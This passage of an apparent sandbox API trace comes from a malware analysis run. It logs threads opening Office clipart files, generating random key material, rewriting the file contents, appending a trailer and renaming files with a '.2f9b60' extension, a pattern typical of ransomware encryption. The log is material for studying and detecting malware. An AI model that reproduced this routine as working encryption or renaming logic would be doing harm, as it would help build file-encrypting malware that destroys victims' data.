Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.654] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="63") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="99") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="67") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="91") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="00") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="66") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="f8") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.654] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.655] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.655] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.655] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.655] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="27") returned 2 [0163.655] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.655] RtlInitAnsiString (in: DestinationString=0x2331fae8, SourceString="637d9967b92f7b4d6d91008e0c66e4f89b0b1de85c6e27d4" | out: DestinationString="637d9967b92f7b4d6d91008e0c66e4f89b0b1de85c6e27d4") [0163.655] RtlAnsiStringToUnicodeString (in: DestinationString=0x2331fab8, SourceString="637d9967b92f7b4d6d91008e0c66e4f89b0b1de85c6e27d4", AllocateDestinationString=1 | out: DestinationString="637d9967b92f7b4d6d91008e0c66e4f89b0b1de85c6e27d4") returned 0x0 [0163.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857a30 [0163.655] RtlFreeAnsiString (AnsiString="6") [0163.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3100) returned 1 [0163.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abbb0) returned 1 [0163.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5480) returned 1 [0163.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a54b0) returned 1 [0163.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5450) returned 1 [0163.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5420) returned 1 [0163.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0163.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3160) returned 1 [0163.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3190) returned 1 [0163.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6510 [0163.658] wcscat (in: _Dest=0x1cdb6510, _Source="637d9967b92f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f" [0163.658] wcscat (in: _Dest=0x1cdb6510, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f.2f9b60" [0163.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f.2f9b60", NtPathName=0x2331fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\637d9967b92f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278ef0 Thread: id = 2334 os_tid = 0x1cdc [0149.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0149.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF", dwFileAttributes=0x20) returned 1 [0149.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2154 [0149.537] GetFileSizeEx (in: hFile=0x2154, lpFileSize=0x24defd40 | out: lpFileSize=0x24defd40*=3632) returned 1 [0149.537] SetFilePointerEx (in: hFile=0x2154, liDistanceToMove=0xe2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.537] ReadFile (in: hFile=0x2154, lpBuffer=0x24defcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24defd08, lpOverlapped=0x0 | out: lpBuffer=0x24defcc0*, lpNumberOfBytesRead=0x24defd08*=0x4, lpOverlapped=0x0) returned 1 [0149.539] SetFilePointerEx (in: hFile=0x2154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3130 [0149.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f31c0 [0149.540] NtQuerySystemTime (in: CurrentTime=0x24defc00 | out: CurrentTime=0x24defc00*=132462177547438000) returned 0x0 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x1e0a6821 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x58e5c803 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x11a97dc5 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x2af9763a [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x7cf25715 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x444132b3 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x70d8349d [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x3fd7ef81 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x68943f16 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x2af0750c [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x2e2033dd [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x71280f4b [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x4c3bc8e1 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x9de2df8 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x3d957ef6 [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x4280bdfa [0149.540] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x22b63bcc [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x60c1a824 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x48a449bf [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x1fcc6215 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x7a2c1669 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x569d9974 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x10c7aadd [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x6165b7bc [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x6791b318 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x1a749908 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x63d878e6 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x7ff53304 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x14294757 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x36805cf9 [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x5b9fdcdc [0149.541] RtlRandomEx (in: Seed=0x24defbf0 | out: Seed=0x24defbf0) returned 0x439e26ec [0149.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f31f0 [0149.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0149.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3220 [0149.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0149.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f31c0) returned 1 [0149.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c1c0 [0149.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0149.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2023d170 [0149.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20240d80 [0149.555] ReadFile (in: hFile=0x2154, lpBuffer=0x2023d170, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x24defbf0, lpOverlapped=0x0 | out: lpBuffer=0x2023d170*, lpNumberOfBytesRead=0x24defbf0*=0xe30, lpOverlapped=0x0) returned 1 [0149.555] SetFilePointerEx (in: hFile=0x2154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.555] WriteFile (in: hFile=0x2154, lpBuffer=0x20240d80*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x24defbf4, lpOverlapped=0x0 | out: lpBuffer=0x20240d80*, lpNumberOfBytesWritten=0x24defbf4*=0xe30, lpOverlapped=0x0) returned 1 [0161.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a54e0 [0161.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5510 [0161.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5510) returned 1 [0161.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20240d80) returned 1 [0161.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2023d170) returned 1 [0161.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0161.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 [0161.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5510 [0161.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c1c0 [0161.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0161.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5540 [0161.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5540) returned 1 [0161.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5540 [0161.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5570 [0161.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a55a0 [0161.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a55a0) returned 1 [0161.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0161.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 [0161.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423abcd0 [0161.747] SetFilePointerEx (in: hFile=0x2154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.747] WriteFile (in: hFile=0x2154, lpBuffer=0x423abcd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24defd10, lpOverlapped=0x0 | out: lpBuffer=0x423abcd0*, lpNumberOfBytesWritten=0x24defd10*=0x10a, lpOverlapped=0x0) returned 1 [0163.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18aa0 [0163.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0163.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f80 [0163.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f80) returned 1 [0163.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18aa0) returned 1 [0163.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.648] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="31") returned 2 [0163.648] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="73") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="dd") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="58") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="90") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="04") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="76") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="90") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="72") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="07") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="7f") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="5c") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="8b") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="33") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="16") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="27") returned 2 [0163.649] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="58") returned 2 [0163.649] RtlInitAnsiString (in: DestinationString=0x24defd88, SourceString="3173dd580ae2900476a74e9072f6077ffe5ce48b33162758" | out: DestinationString="3173dd580ae2900476a74e9072f6077ffe5ce48b33162758") [0163.649] RtlAnsiStringToUnicodeString (in: DestinationString=0x24defd58, SourceString="3173dd580ae2900476a74e9072f6077ffe5ce48b33162758", AllocateDestinationString=1 | out: DestinationString="3173dd580ae2900476a74e9072f6077ffe5ce48b33162758") returned 0x0 [0163.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8579c0 [0163.650] RtlFreeAnsiString (AnsiString="3") [0163.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d220) returned 1 [0163.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abcd0) returned 1 [0163.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5540) returned 1 [0163.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5570) returned 1 [0163.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5510) returned 1 [0163.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a54e0) returned 1 [0163.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3130) returned 1 [0163.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f31f0) returned 1 [0163.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3220) returned 1 [0163.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6470 [0163.653] wcscat (in: _Dest=0x1cdb6470, _Source="3173dd580ae2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2" [0163.653] wcscat (in: _Dest=0x1cdb6470, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2.2f9b60" [0163.653] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2.2f9b60", NtPathName=0x24defd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3173dd580ae2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23be0 Thread: id = 2335 os_tid = 0x1ce0 [0149.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0149.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF", dwFileAttributes=0x20) returned 1 [0149.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2158 [0149.559] GetFileSizeEx (in: hFile=0x2158, lpFileSize=0x2507f7a0 | out: lpFileSize=0x2507f7a0*=3616) returned 1 [0149.559] SetFilePointerEx (in: hFile=0x2158, liDistanceToMove=0xe1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.559] ReadFile (in: hFile=0x2158, lpBuffer=0x2507f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2507f768, lpOverlapped=0x0 | out: lpBuffer=0x2507f720*, lpNumberOfBytesRead=0x2507f768*=0x4, lpOverlapped=0x0) returned 1 [0149.561] SetFilePointerEx (in: hFile=0x2158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f31c0 [0149.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3250 [0149.562] NtQuerySystemTime (in: CurrentTime=0x2507f660 | out: CurrentTime=0x2507f660*=132462177547750000) returned 0x0 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x68ff6bfa [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0xaf649a [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x6c37c96d [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x5e6a0b7a [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x11ce6e6 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x3ce5dc52 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x27633f50 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x7b17c4e5 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x56df81ed [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x1ed4681a [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x993773e [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x5b4923d [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x6bf7c397 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x5c4545ae [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x25939029 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x3cb443da [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x5e758a74 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x53da9c10 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x7d6ded96 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x336a6f24 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x435ac4ef [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x37d681f7 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x7ac1383c [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x32622d2e [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x64671d0 [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x3b058c1e [0149.562] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x3470344a [0149.563] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x22c684ff [0149.563] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x51f5fc37 [0149.563] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x4e3cc931 [0149.563] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x2b25c377 [0149.563] RtlRandomEx (in: Seed=0x2507f650 | out: Seed=0x2507f650) returned 0x7758415f [0149.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3280 [0149.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0149.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32b0 [0149.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0149.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3250) returned 1 [0149.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0149.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0149.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20244990 [0149.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202485a0 [0149.574] ReadFile (in: hFile=0x2158, lpBuffer=0x20244990, 